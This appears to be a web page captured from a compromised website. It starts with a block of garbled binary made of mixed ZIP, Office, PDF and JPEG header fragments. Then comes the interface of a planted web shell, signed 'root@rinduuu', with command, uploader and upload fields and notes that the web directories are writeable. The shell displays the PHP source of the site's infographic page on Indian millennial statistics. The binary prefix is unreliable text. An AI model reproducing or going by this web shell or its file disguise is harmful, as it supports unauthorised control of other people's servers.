œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzÂœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇVßƹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :
ikan Uploader :
Directory :  /var/www/vhosts/omkar.com/httpdocs/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/vhosts/omkar.com/httpdocs/application/views/infographics_details.php
<!DOCTYPE html>

<html lang="en">

<head>

	<title><?php echo $page_info->title;?></title>

	<meta name="description" content="<?php echo $page_info->meta_description;?>" />

	<meta name="keywords" content="<?php echo $page_info->meta_keywords;?>" />

	<?php $this->load->view('header'); ?>

</head>



<body>	

	

<!-- Google Tag Manager (noscript) -->

<noscript>

<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-T3BPP5W" height="0" width="0" style="display:none;visibility:hidden">

</iframe>

</noscript>

<!-- End Google Tag Manager (noscript) -->

	<!-- structured map data -->

	<?php echo $page_info->structured_map_data;?>

<!-- structured map data -->

	<div id="wrapper" class="aos-all">

		<?php 

		 $data1['act'] = $page_active;

		//$data1['project_list'] = $project_list;

		$this->load->view('navigation', $data1); ?>

		

		<?php /*

		<section class="infoListingBanner">

			<div class="container">

				<div class="row row-eq-height">

					<div class="col-md-6 infobannertxt">

						<h4 data-aos="fade-up">Lorem ipsum dolor sit amet</h4>

						<p data-aos="fade-up" data-aos-delay="100">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod

						tempor incididunt ut labore et dolore magna aliqua.</p>

					</div>

					<div class="col-md-6">

						<img src="<?php echo base_url(); ?>assets/images/bannerinfographic.jpg" alt="">

					</div>

				</div>

			</div>

		</section>

		*/ ?>

		<section class="infoDetailsWpr">

			<div class="container">

				<div class="infoDetailHeader" style="background-image: url('<?php echo base_url(); ?>assets/images/millennials-1.png');">

					<a href="#" data-tab="1" class="tabhead tabhead1 active"><p>Population</p></a>

					<a href="#" data-tab="2" class="tabhead tabhead2"><p>Digital Consumption</p></a>

					<a href="#" data-tab="3" class="tabhead tabhead3"><p>Spending Pattern</p></a>

					<a href="#" data-tab="4" class="tabhead tabhead4"><p>Millennial Profile</p></a>

				</div>

				<div class="tabWpr">

					<div data-content="1" class="content active content-population">

						<div class="populationWpr">

							<div class="popGlobal">

								<div class="popTitle scaleAnime ">

									<div class="popImg"></div>

									<p>Globally Millennials Population</p>

								</div>

								<div class="popCount scaleAnime ">

									<h4>27%<br>of 7.7bn</h4><p>world population</p>

								</div>

							</div>

							<hr class="d-block d-sm-none">

							<div class="popIndian">

								<div class="popTitle scaleAnime ">

									<div class="popImg"></div>

									<p>Indian Millennials Population</p>

								</div>

								<div class="popCount scaleAnime ">

									<h4>65%</h4><p>Population<br>born after 1980</p>

								</div>

								<div class="popGrid">

									<div class="popCount scaleAnime ">

										<h4>56%</h4><p>use a Tablet Computer</p>

									</div>

									<div class="popCount scaleAnime ">

										<h4>23%</h4><p>use a wearable device</p>

									</div>

									<div class="popCount scaleAnime ">

										<h4>21%</h4><p>use a handheld game device</p>

									</div>

									<div class="popCount scaleAnime ">

										<h4>21%</h4><p>use an e-reader</p>

									</div>

								</div>

							</div>

						</div>

					</div>

					<div data-content="2" class="content content-digital">

						<div class="digitalWpr">

							<div class="statBlock">

								<div class="statImg1 scaleAnime">

									<div class="statTitle statTitle1 scaleAnime">

										<h4>22%</h4>

										<p>Search</p>

									</div>

									<div class="statTitle statTitle2 scaleAnime">

										<h4>37%</h4>

										<p>Email / Socail<br>Media</p>

									</div>

									<div class="statTitle statTitle3 scaleAnime">

										<h4>30%</h4>

										<p>Entertainment<br>(Music & Videos)</p>

									</div>

									<div class="statTitle statTitle4 scaleAnime">

										<h4>30%</h4>

										<p>Transaction<br>(Incl Bank)</p>

									</div>

									<img src="<?php echo base_url(); ?>assets/images/digital-stat-1.png" alt="">

								</div>

							</div>

							<div class="statBlock midStat scaleAnime">

								<div class="statImg2"></div>

								<p>Millennials to Become More Than a Third of India's Population</p>

							</div>

							<div class="statBlock">

								<div class="statImg3 scaleAnime">

									<div class="statTitle statTitle5 scaleAnime">

										<h4>01%</h4>

										<p>Tablet</p>

									</div>

									<div class="statTitle statTitle6 scaleAnime">

										<h4>89%</h4>

										<p>Mobile</p>

									</div>

									<div class="statTitle statTitle7 scaleAnime">

										<h4>10%</h4>

										<p>Desktop / Laptop</p>

									</div>

									<img src="<?php echo base_url(); ?>assets/images/digital-stat-2.png" alt="">

								</div>

							</div>

						</div>

					</div>

					<div data-content="3" class="content content-spending">

						<div class="spendingWpr">

							<div class="spendBlock">

								<div class="spendInner scaleAnime">

									<h4>spending 6%</h4>

									<p>of their income on daily commute.</p>

									<div class="spendImg1"></div>

								</div>

								<hr>

								<div class="spendInner scaleAnime">

									<p>They spend about</p>

									<h4>30%</h4>

									<p>on shopping</p>

									<div class="spendImg2"></div>

								</div>

								<hr class="d-block d-sm-none">

							</div>

							<div class="spendBlock">

								<div class="spendInner midSpend scaleAnime">

									<h4>29%</h4>

									<p>of the money is spent on<br>utility bill payments</p>

									<div class="spendImg3"></div>

								</div>

								<hr class="d-block d-sm-none">

							</div>

							<div class="spendBlock">

								<div class="spendInner scaleAnime">

									<h4>27%</h4>

									<p>on Food and Drinks</p>

									<div class="spendImg4"></div>

								</div>

								<hr>

								<div class="spendInner scaleAnime">

									<h4>8%</h4>

									<p>on their income / allowances<br>on grocery</p>

									<div class="spendImg5"></div>

								</div>

							</div>

						</div>

					</div>

					<div data-content="4" class="content content-millennial">

						<div class="millennialWpr">

							<div class="millBlock">

								<div class="pointMarks scaleAnime">

									<div class="blueMark">

										Millennial (20-35 age group)

									</div>

									<div class="clearfix"></div>

									<div class="yellowMark">

										Rest

									</div>

									<div class="grayMark">

										All India

									</div>

								</div>

								<div class="clearfix"></div>

								<div class="millTitleBlock">

									<div class="scaleAnime">

										<h5 class="millTitle">Household profile</h5>

										<p>Millennials households earn more and<br>save more than the genreral population</p>

									</div>

									<div class="millChartBlock scaleAnime">

										<div class="millChartTitle">Household <span>(in Million)</span></div>

										<div class="circleChart">

											<div class="grayCircle">

												281

											</div>

											<div class="blueCircle">

												190

											</div>

											<div class="yellowCircle">

												91

											</div>

										</div>

									</div>

									<!-- <br> -->

									<hr>

									<div class="millChartBlock">

										<div class="millChartTitle scaleAnime">Average Household <span>(in ₹ Annual)</span></div>

										<div class="circleChartBlockWpr">

											<div class="circleChartBlock scaleAnime">

												<h4 class="circleH4">Income</h4>

												<div class="incomeCircle">

													<div class="c1">

														<span class="grayTxt1">2,02,076</span>

														<span class="yellowTxt1">1,70,149</span>

														<span class="blueTxt1">2,17,311</span>

														<img src="<?php echo base_url(); ?>assets/images/millennial-pie-1.png" alt="">

													</div>

												</div>

											</div>

											<div class="circleChartBlock scaleAnime">

												<h4 class="circleH4">Expenditure</h4>

												<div class="incomeCircle">

													<div class="c1">

														<span class="grayTxt1">1,34,561</span>

														<span class="yellowTxt1">1,15,001</span>

														<span class="blueTxt1">1,43,895</span>

														<img src="<?php echo base_url(); ?>assets/images/millennial-pie-2.png" alt="">

													</div>

												</div>

											</div>

										</div>

									</div>

									<!-- <br> -->

									<hr>

									<div class="millChartBlock">

										<div class="millChartTitle scaleAnime">Saving rate</div>

										<div class="circleChartBlockWpr">

											<div class="circleChartBlock scaleAnime">

												<h4 class="circleH4">Income</h4>

												<div class="savingCircle">

													<div class="c2">

														<span class="grayTxt1">34%</span>

														<span class="yellowTxt1">32%</span>

														<span class="blueTxt1">33%</span>

														<img src="<?php echo base_url(); ?>assets/images/millennial-pie-3.png" alt="">

													</div>

												</div>

											</div>

										</div>

									</div>

								</div>

							</div>

							<div class="millBlock">

								<div class="millTitleBlock millRight1">

									<div class="scaleAnime">

									<h5 class="millTitle">OWNERSHIP <span>(% of households own)</span></h5>

									<p>Except for mobile phone penetration, millennial households remain large untapped market</p>

									</div>

									<img src="<?php echo base_url(); ?>assets/images/barchart.png" alt="" class="scaleAnime">

								</div>

								<div class="millTitleBlock">

									<div class="scaleAnime">

										<h5 class="millTitle">Education Status</h5>

										<p>Millennials are also much<br>better educated</p>

									</div>

									<div class="millChartBlock">

										<div class="circleChartBlockWpr">

											<div class="circleChartBlock scaleAnime">

												<h4 class="circleH4">Completed<br>Higher Secondary</h4>

												<div class="incomeCircle">

													<div class="c1">

														<span class="grayTxt1">11%</span>

														<span class="yellowTxt1">8%</span>

														<span class="blueTxt1">17%</span>

														<img src="<?php echo base_url(); ?>assets/images/millennial-pie-4.png" alt="">

													</div>

												</div>

											</div>

											<div class="circleChartBlock scaleAnime">

												<h4 class="circleH4">Graduated and<br>above</h4>

												<div class="incomeCircle">

													<div class="c1">

														<span class="grayTxt1">6%</span>

														<span class="yellowTxt1">3%</span>

														<span class="blueTxt1">13%</span>

														<img src="<?php echo base_url(); ?>assets/images/millennial-pie-5.png" alt="">

													</div>

												</div>

											</div>

										</div>

									</div>

								</div>

							</div>

						</div>

					</div>

				</div>

			</div>

		</section>





		<?php $this->load->view('sub_footer'); ?>

	</div>

<?php $this->load->view('footer'); ?>

<script type="text/javascript">

	(function(){

		if($(".content").hasClass("active")) {

			startAnim();

		}

		$('.infoDetailHeader [data-tab]').on('click', function (e) {

			var daTaAttr = $(this).data('tab');

			$(this).parent().css("background",'url(<?php echo base_url(); ?>assets/images/millennials-' +daTaAttr+ '.png)');

			$(this).addClass('active').siblings('[data-tab]').removeClass('active')

			$(this).parent().siblings().children('[data-content=' + $(this).data('tab') + ']').addClass('active').siblings('[data-content]').removeClass('active');

			$('.scaleAnime').removeClass('animStart');

			startAnim();

			e.preventDefault();

		});

	})();

	function startAnim(){

		setTimeout(function(){

			var b = 0;

			$(".active .scaleAnime").each(function() {

	            $(this).css("transition-delay", b + "ms," + b + "ms"), b += 100

	        });

			$('.scaleAnime').addClass('animStart');

		});

	}

</script>

</body>

</html>

........